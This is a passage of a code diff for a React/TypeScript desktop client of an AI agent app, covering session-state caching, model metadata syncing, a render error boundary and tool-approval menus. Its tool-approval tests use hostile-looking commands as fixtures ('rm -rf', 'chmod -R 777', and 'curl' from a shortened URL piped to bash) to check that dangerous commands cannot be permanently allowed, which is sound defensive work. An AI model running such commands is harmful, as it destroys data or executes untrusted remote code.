if (resolved) {
|
||||
upsertResolvedSession(resolved, storedSessionId)
|
||||
}
|
||||
|
||||
return resolved
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
type SessionRuntimeStatePatch = Partial<
|
||||
Pick<
|
||||
ClientSessionState,
|
||||
| 'branch'
|
||||
| 'cwd'
|
||||
| 'fast'
|
||||
| 'model'
|
||||
| 'personality'
|
||||
| 'provider'
|
||||
| 'reasoningEffort'
|
||||
| 'serviceTier'
|
||||
| 'yolo'
|
||||
>
|
||||
>
|
||||
|
||||
function applyRuntimeInfo(info: SessionRuntimeInfo | undefined): SessionRuntimeStatePatch | null {
|
||||
if (!info) {
|
||||
return null
|
||||
}
|
||||
|
||||
const sessionState: Partial<
|
||||
Pick<ClientSessionState, 'branch' | 'cwd' | 'fast' | 'model' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'>
|
||||
> = {}
|
||||
const sessionState: SessionRuntimeStatePatch = {}
|
||||
|
||||
reportBackendContract(info.desktop_contract)
|
||||
|
||||
@@ -226,12 +277,12 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
requestDesktopOnboarding(info.credential_warning)
|
||||
}
|
||||
|
||||
if (info.model) {
|
||||
if (typeof info.model === 'string') {
|
||||
setCurrentModel(info.model)
|
||||
sessionState.model = info.model
|
||||
}
|
||||
|
||||
if (info.provider) {
|
||||
if (typeof info.provider === 'string') {
|
||||
setCurrentProvider(info.provider)
|
||||
sessionState.provider = info.provider
|
||||
}
|
||||
@@ -247,7 +298,9 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
}
|
||||
|
||||
if (typeof info.personality === 'string') {
|
||||
setCurrentPersonality(normalizePersonalityValue(info.personality))
|
||||
const personality = normalizePersonalityValue(info.personality)
|
||||
setCurrentPersonality(personality)
|
||||
sessionState.personality = personality
|
||||
}
|
||||
|
||||
if (typeof info.reasoning_effort === 'string') {
|
||||
@@ -277,6 +330,16 @@ function applyRuntimeInfo(info: SessionCreateResponse['info'] | undefined): Part
|
||||
return sessionState
|
||||
}
|
||||
|
||||
function applyStoredSessionPreviewRuntimeInfo(stored: { model?: null | string } | undefined) {
|
||||
setCurrentModel(stored?.model || '')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
setYoloActive(false)
|
||||
setCurrentPersonality('')
|
||||
}
|
||||
|
||||
export function useSessionActions({
|
||||
activeSessionId,
|
||||
activeSessionIdRef,
|
||||
@@ -457,23 +520,41 @@ export function useSessionActions({
|
||||
|
||||
// Swap the single live gateway to this session's profile before any
|
||||
// gateway call (no-op when it's already on that profile / single-profile).
|
||||
const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const storedForProfile = await resolveStoredSession(storedSessionId)
|
||||
const sessionProfile = storedForProfile?.profile
|
||||
|
||||
if (resumeRequestRef.current !== requestId) {
|
||||
return
|
||||
}
|
||||
|
||||
await ensureGatewayProfile(sessionProfile)
|
||||
|
||||
const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
|
||||
const cachedState = cachedRuntimeId && sessionStateByRuntimeIdRef.current.get(cachedRuntimeId)
|
||||
|
||||
if (cachedRuntimeId && cachedState) {
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const cachedViewState =
|
||||
!cachedState.model && stored?.model != null
|
||||
? {
|
||||
...cachedState,
|
||||
model: stored.model || ''
|
||||
}
|
||||
: cachedState
|
||||
|
||||
if (cachedViewState !== cachedState) {
|
||||
sessionStateByRuntimeIdRef.current.set(cachedRuntimeId, cachedViewState)
|
||||
}
|
||||
|
||||
setFreshDraftReady(false)
|
||||
clearNotifications()
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setActiveSessionId(cachedRuntimeId)
|
||||
activeSessionIdRef.current = cachedRuntimeId
|
||||
syncSessionStateToView(cachedRuntimeId, cachedState)
|
||||
setCurrentCwd(cachedState.cwd)
|
||||
setCurrentBranch(cachedState.branch)
|
||||
syncSessionStateToView(cachedRuntimeId, cachedViewState)
|
||||
setCurrentCwd(cachedViewState.cwd)
|
||||
setCurrentBranch(cachedViewState.branch)
|
||||
setSessionStartedAt(Date.now())
|
||||
|
||||
try {
|
||||
@@ -513,7 +594,8 @@ export function useSessionActions({
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
setSessionStartedAt(Date.now())
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
applyStoredSessionPreviewRuntimeInfo(stored)
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -762,7 +844,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const removed = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const closingRuntimeId = wasSelected ? activeSessionId : null
|
||||
const previousMessages = $messages.get()
|
||||
@@ -771,7 +853,7 @@ export function useSessionActions({
|
||||
// live tip after compression. Drop both so the pin can't linger.
|
||||
const removedPinId = removed ? sessionPinId(removed) : storedSessionId
|
||||
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
|
||||
// doesn't keep claiming the removed row is still on the server.
|
||||
setSessionsTotal(prev => Math.max(0, prev - 1))
|
||||
@@ -806,7 +888,7 @@ export function useSessionActions({
|
||||
setFreshDraftReady(false)
|
||||
setSelectedStoredSessionId(storedSessionId)
|
||||
selectedStoredSessionIdRef.current = storedSessionId
|
||||
const stored = $sessions.get().find(session => session.id === storedSessionId)
|
||||
const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
|
||||
if (stored) {
|
||||
setCurrentUsage(current => ({
|
||||
@@ -845,7 +927,7 @@ export function useSessionActions({
|
||||
async (storedSessionId: string) => {
|
||||
clearNotifications()
|
||||
|
||||
const archived = $sessions.get().find(s => s.id === storedSessionId)
|
||||
const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
|
||||
const wasSelected = selectedStoredSessionId === storedSessionId
|
||||
const previousPinned = $pinnedSessionIds.get()
|
||||
// Pins are keyed on the durable lineage-root id; the stored id may be the
|
||||
@@ -853,7 +935,7 @@ export function useSessionActions({
|
||||
const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
|
||||
|
||||
// Soft-hide: drop from the sidebar immediately, keep the data.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
// Archived sessions are hidden by the listSessions(min_messages=1) query
|
||||
// on the next refresh, so they count as "removed" for the load-more
|
||||
// footer math.
|
||||
@@ -870,12 +952,12 @@ export function useSessionActions({
|
||||
// in flight and briefly reinsert the still-unarchived backend row. Win
|
||||
// that race after the mutation succeeds so right-click → Archive does
|
||||
// not appear to do nothing until the next full refresh.
|
||||
setSessions(prev => prev.filter(s => s.id !== storedSessionId))
|
||||
setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
|
||||
$pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
|
||||
notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
|
||||
} catch (err) {
|
||||
if (archived) {
|
||||
setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
|
||||
setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
|
||||
setSessionsTotal(prev => prev + 1)
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,20 @@ import { act, cleanup, render } from '@testing-library/react'
|
||||
import type { MutableRefObject } from 'react'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $turnStartedAt, setTurnStartedAt } from '@/store/session'
|
||||
import {
|
||||
$currentFastMode,
|
||||
$currentModel,
|
||||
$currentProvider,
|
||||
$currentReasoningEffort,
|
||||
$currentServiceTier,
|
||||
$turnStartedAt,
|
||||
setCurrentFastMode,
|
||||
setCurrentModel,
|
||||
setCurrentProvider,
|
||||
setCurrentReasoningEffort,
|
||||
setCurrentServiceTier,
|
||||
setTurnStartedAt
|
||||
} from '@/store/session'
|
||||
|
||||
import { useSessionStateCache } from './use-session-state-cache'
|
||||
|
||||
@@ -46,12 +59,22 @@ describe('useSessionStateCache — per-session turn timer', () => {
|
||||
return null as unknown as number
|
||||
})
|
||||
setTurnStartedAt(null)
|
||||
setCurrentModel('')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
vi.restoreAllMocks()
|
||||
setTurnStartedAt(null)
|
||||
setCurrentModel('')
|
||||
setCurrentProvider('')
|
||||
setCurrentReasoningEffort('')
|
||||
setCurrentServiceTier('')
|
||||
setCurrentFastMode(false)
|
||||
})
|
||||
|
||||
it("keeps a background session's running turn clock and never mirrors it to the view", () => {
|
||||
@@ -115,4 +138,78 @@ describe('useSessionStateCache — per-session turn timer', () => {
|
||||
})
|
||||
expect($turnStartedAt.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('mirrors the focused session model metadata when switching from a cached session', () => {
|
||||
let cache!: Cache
|
||||
const { rerender } = render(
|
||||
<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
|
||||
)
|
||||
|
||||
act(() => {
|
||||
cache.updateSessionState(
|
||||
'bg-runtime',
|
||||
state => ({
|
||||
...state,
|
||||
fast: true,
|
||||
model: 'anthropic/claude-opus-4.8',
|
||||
provider: 'anthropic',
|
||||
reasoningEffort: 'high',
|
||||
serviceTier: 'priority'
|
||||
}),
|
||||
'bg-stored'
|
||||
)
|
||||
})
|
||||
|
||||
// Background metadata is cached but must not bleed into the visible statusbar.
|
||||
expect($currentModel.get()).toBe('')
|
||||
expect($currentReasoningEffort.get()).toBe('')
|
||||
expect($currentFastMode.get()).toBe(false)
|
||||
|
||||
rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
|
||||
|
||||
const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
|
||||
expect(bgState).toBeTruthy()
|
||||
|
||||
act(() => {
|
||||
cache.syncSessionStateToView('bg-runtime', bgState!)
|
||||
})
|
||||
|
||||
expect($currentModel.get()).toBe('anthropic/claude-opus-4.8')
|
||||
expect($currentProvider.get()).toBe('anthropic')
|
||||
expect($currentReasoningEffort.get()).toBe('high')
|
||||
expect($currentServiceTier.get()).toBe('priority')
|
||||
expect($currentFastMode.get()).toBe(true)
|
||||
})
|
||||
|
||||
it('clears stale model metadata when the newly focused session has no cached value', () => {
|
||||
setCurrentModel('previous-model')
|
||||
setCurrentProvider('previous-provider')
|
||||
setCurrentReasoningEffort('high')
|
||||
setCurrentServiceTier('priority')
|
||||
setCurrentFastMode(true)
|
||||
|
||||
let cache!: Cache
|
||||
const { rerender } = render(
|
||||
<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
|
||||
)
|
||||
|
||||
act(() => {
|
||||
cache.updateSessionState('bg-runtime', state => ({ ...state }), 'bg-stored')
|
||||
})
|
||||
|
||||
rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
|
||||
|
||||
const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
|
||||
expect(bgState).toBeTruthy()
|
||||
|
||||
act(() => {
|
||||
cache.syncSessionStateToView('bg-runtime', bgState!)
|
||||
})
|
||||
|
||||
expect($currentModel.get()).toBe('')
|
||||
expect($currentProvider.get()).toBe('')
|
||||
expect($currentReasoningEffort.get()).toBe('')
|
||||
expect($currentServiceTier.get()).toBe('')
|
||||
expect($currentFastMode.get()).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
noteSessionActivity,
|
||||
setCurrentFastMode,
|
||||
setCurrentModel,
|
||||
setCurrentPersonality,
|
||||
setCurrentProvider,
|
||||
setCurrentReasoningEffort,
|
||||
setCurrentServiceTier,
|
||||
@@ -53,6 +54,16 @@ interface SessionStateCacheOptions {
|
||||
setMessages: (messages: ChatMessage[]) => void
|
||||
}
|
||||
|
||||
function syncRuntimeMetadataToView(state: ClientSessionState) {
|
||||
setCurrentModel(state.model ?? '')
|
||||
setCurrentProvider(state.provider ?? '')
|
||||
setCurrentReasoningEffort(state.reasoningEffort ?? '')
|
||||
setCurrentServiceTier(state.serviceTier ?? '')
|
||||
setCurrentFastMode(state.fast ?? false)
|
||||
setYoloActive(state.yolo ?? false)
|
||||
setCurrentPersonality(state.personality ?? '')
|
||||
}
|
||||
|
||||
export function useSessionStateCache({
|
||||
activeSessionId,
|
||||
busyRef,
|
||||
@@ -137,12 +148,7 @@ export function useSessionStateCache({
|
||||
setMessages(nextMessages)
|
||||
}
|
||||
|
||||
setCurrentModel(pending.state.model)
|
||||
setCurrentProvider(pending.state.provider)
|
||||
setCurrentReasoningEffort(pending.state.reasoningEffort)
|
||||
setCurrentServiceTier(pending.state.serviceTier)
|
||||
setCurrentFastMode(pending.state.fast)
|
||||
setYoloActive(pending.state.yolo)
|
||||
syncRuntimeMetadataToView(pending.state)
|
||||
setBusy(pending.state.busy)
|
||||
setMutableRef(busyRef, pending.state.busy)
|
||||
setAwaitingResponse(pending.state.awaitingResponse)
|
||||
@@ -167,6 +173,7 @@ export function useSessionStateCache({
|
||||
return
|
||||
}
|
||||
|
||||
syncRuntimeMetadataToView(state)
|
||||
pendingViewStateRef.current = { sessionId, state }
|
||||
|
||||
// Terminal / attention transitions (turn finished, error, or the agent is
|
||||
|
||||
@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
|
||||
import { useI18n } from '@/i18n'
|
||||
import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { startManualProviderOAuth } from '@/store/onboarding'
|
||||
import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
|
||||
|
||||
import { CONTROL_TEXT } from './constants'
|
||||
import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
|
||||
@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
|
||||
}, [apiKeyDraft, selectedProviderRow])
|
||||
|
||||
// OAuth / external providers can't be activated with a pasted key — hand off
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in.
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in. The
|
||||
// custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
|
||||
// local-endpoint form (URL + optional API key) instead of being dead-ended
|
||||
// on the OAuth picker (the original "booted back to the first screen" loop).
|
||||
const startProviderSetup = useCallback(() => {
|
||||
if (selectedProviderRow?.slug) {
|
||||
startManualProviderOAuth(selectedProviderRow.slug)
|
||||
const slug = selectedProviderRow?.slug
|
||||
|
||||
if (!slug) {
|
||||
return
|
||||
}
|
||||
|
||||
const lower = slug.toLowerCase()
|
||||
|
||||
if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
|
||||
startManualLocalEndpoint()
|
||||
} else {
|
||||
startManualProviderOAuth(slug)
|
||||
}
|
||||
}, [selectedProviderRow])
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { triggerHaptic } from '@/lib/haptics'
|
||||
@@ -43,14 +43,14 @@ export function SessionsSettings() {
|
||||
setLoading(true)
|
||||
|
||||
try {
|
||||
const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
setLocalSessions(result.sessions)
|
||||
} catch (err) {
|
||||
notifyError(err, s.failedLoad)
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
}, [s.failedLoad])
|
||||
|
||||
useEffect(() => {
|
||||
void load()
|
||||
|
||||
@@ -129,6 +129,7 @@ export interface ClientSessionState {
|
||||
serviceTier: string
|
||||
fast: boolean
|
||||
yolo: boolean
|
||||
personality: string
|
||||
busy: boolean
|
||||
awaitingResponse: boolean
|
||||
streamId: string | null
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { cleanup, render, screen } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
afterEach(cleanup)
|
||||
|
||||
function Boom({ error }: { error: Error | null }): null {
|
||||
if (error) {
|
||||
throw error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
|
||||
|
||||
describe('MessageRenderBoundary', () => {
|
||||
it('renders children when nothing throws', () => {
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<div>content</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('content')).toBeTruthy()
|
||||
})
|
||||
|
||||
it('swallows the transient tapClientLookup out-of-bounds store race', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { container } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(container.innerHTML).toBe('')
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('recovers on the next consistent snapshot when resetKey changes', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { rerender } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<Boom error={null} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<div>recovered</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('recovered')).toBeTruthy()
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('re-throws unrelated errors so real bugs still surface', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
expect(() =>
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={new Error('genuine render bug')} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
).toThrow('genuine render bug')
|
||||
|
||||
spy.mockRestore()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,48 @@
|
||||
import { Component, type ReactNode } from 'react'
|
||||
|
||||
// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
|
||||
// throws — rather than returning undefined — when a subscriber reads an index
|
||||
// that the message/parts list no longer has. This races during high-frequency
|
||||
// store replacement (session switch mid-stream, gateway reconnect replay): a
|
||||
// subscriber from the previous, longer list is still in React's notification
|
||||
// queue and reads one slot past the new, shorter array before it can unmount.
|
||||
// The throw is transient and self-heals on the next consistent snapshot, but
|
||||
// without a local boundary it unwinds to the root and blanks the whole app.
|
||||
// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
|
||||
const isTransientLookupError = (error: unknown): boolean =>
|
||||
error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
|
||||
|
||||
interface Props {
|
||||
// Changes whenever the message list mutates; remounting clears the caught
|
||||
// error so the next consistent render recovers silently.
|
||||
resetKey: string
|
||||
children: ReactNode
|
||||
}
|
||||
|
||||
export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
|
||||
state: { error: Error | null } = { error: null }
|
||||
|
||||
static getDerivedStateFromError(error: Error) {
|
||||
return { error }
|
||||
}
|
||||
|
||||
componentDidUpdate(prev: Props) {
|
||||
if (this.state.error && prev.resetKey !== this.props.resetKey) {
|
||||
this.setState({ error: null })
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
// Only swallow the transient store race; re-throw anything else so real
|
||||
// bugs still reach the root error boundary.
|
||||
if (!isTransientLookupError(this.state.error)) {
|
||||
throw this.state.error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
return this.props.children
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,8 @@ import { setMutableRef } from '@/lib/mutable-ref'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { setThreadScrolledUp } from '@/store/thread-scroll'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
const ESTIMATED_ITEM_HEIGHT = 220
|
||||
const OVERSCAN = 4
|
||||
const AT_BOTTOM_THRESHOLD = 4
|
||||
@@ -180,18 +182,20 @@ const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
|
||||
key={virtualItem.key}
|
||||
ref={virtualizer.measureElement}
|
||||
>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
<MessageRenderBoundary resetKey={messageSignature}>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
</MessageRenderBoundary>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -1528,6 +1528,8 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
|
||||
>
|
||||
<div
|
||||
aria-label={copy.editMessage}
|
||||
autoCapitalize="off"
|
||||
autoCorrect="off"
|
||||
autoFocus
|
||||
className={cn(
|
||||
'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 outline-none',
|
||||
@@ -1549,9 +1551,26 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
|
||||
onPaste={handlePaste}
|
||||
ref={editorRef}
|
||||
role="textbox"
|
||||
spellCheck={false}
|
||||
suppressContentEditableWarning
|
||||
/>
|
||||
<ComposerPrimitive.Input className="sr-only" tabIndex={-1} unstable_focusOnScrollToBottom={false} />
|
||||
<ComposerPrimitive.Input
|
||||
asChild
|
||||
className="sr-only"
|
||||
submitMode="ctrlEnter"
|
||||
tabIndex={-1}
|
||||
unstable_focusOnScrollToBottom={false}
|
||||
>
|
||||
<textarea
|
||||
aria-hidden
|
||||
autoCapitalize="off"
|
||||
autoComplete="off"
|
||||
autoCorrect="off"
|
||||
className="sr-only"
|
||||
spellCheck={false}
|
||||
tabIndex={-1}
|
||||
/>
|
||||
</ComposerPrimitive.Input>
|
||||
{staging && (
|
||||
<span
|
||||
className="pointer-events-none absolute bottom-2 left-2 inline-flex items-center gap-1 rounded-full bg-background/80 px-1.5 py-0.5 text-[0.62rem] text-muted-foreground backdrop-blur-[1px]"
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesGateway } from '@/hermes'
|
||||
import { $gateway } from '@/store/gateway'
|
||||
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
|
||||
import { PendingToolApproval } from './tool-approval'
|
||||
import type { ToolPart } from './tool-fallback-model'
|
||||
|
||||
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
|
||||
// doesn't implement; stub them so the menu can open in tests.
|
||||
beforeAll(() => {
|
||||
const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
|
||||
|
||||
const stubs: Record<string, () => unknown> = {
|
||||
hasPointerCapture: () => false,
|
||||
releasePointerCapture: () => undefined,
|
||||
scrollIntoView: () => undefined,
|
||||
setPointerCapture: () => undefined
|
||||
}
|
||||
|
||||
for (const [name, fn] of Object.entries(stubs)) {
|
||||
proto[name] ??= fn
|
||||
}
|
||||
})
|
||||
|
||||
function part(toolName: string): ToolPart {
|
||||
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
|
||||
}
|
||||
|
||||
function setRequest(command = 'rm -rf /tmp/x') {
|
||||
function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
|
||||
$activeSessionId.set('sess-1')
|
||||
setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
}
|
||||
|
||||
function mockGateway() {
|
||||
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
|
||||
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
|
||||
})
|
||||
})
|
||||
|
||||
it('offers "Always allow" in the options menu by default', async () => {
|
||||
setRequest('chmod -R 777 /tmp/x')
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
|
||||
expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
})
|
||||
|
||||
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
|
||||
// tirith content-security warning present → allowPermanent=false.
|
||||
setRequest('curl https://bit.ly/abc | bash', false)
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
// The session + reject options still render, but never the permanent allow.
|
||||
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
// it goes through a confirm step rather than firing straight from the menu.
|
||||
const [confirmAlways, setConfirmAlways] = useState(false)
|
||||
const busy = submitting !== null
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
const allowPermanent = request.allowPermanent !== false
|
||||
|
||||
const respond = useCallback(
|
||||
async (choice: ApprovalChoice) => {
|
||||
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="start" className="min-w-44">
|
||||
<DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
{allowPermanent && (
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
<DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
|
||||
{copy.reject}
|
||||
</DropdownMenuItem>
|
||||
|
||||
@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
|
||||
const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
|
||||
|
||||
// The header trailing slot only carries the live duration timer while the
|
||||
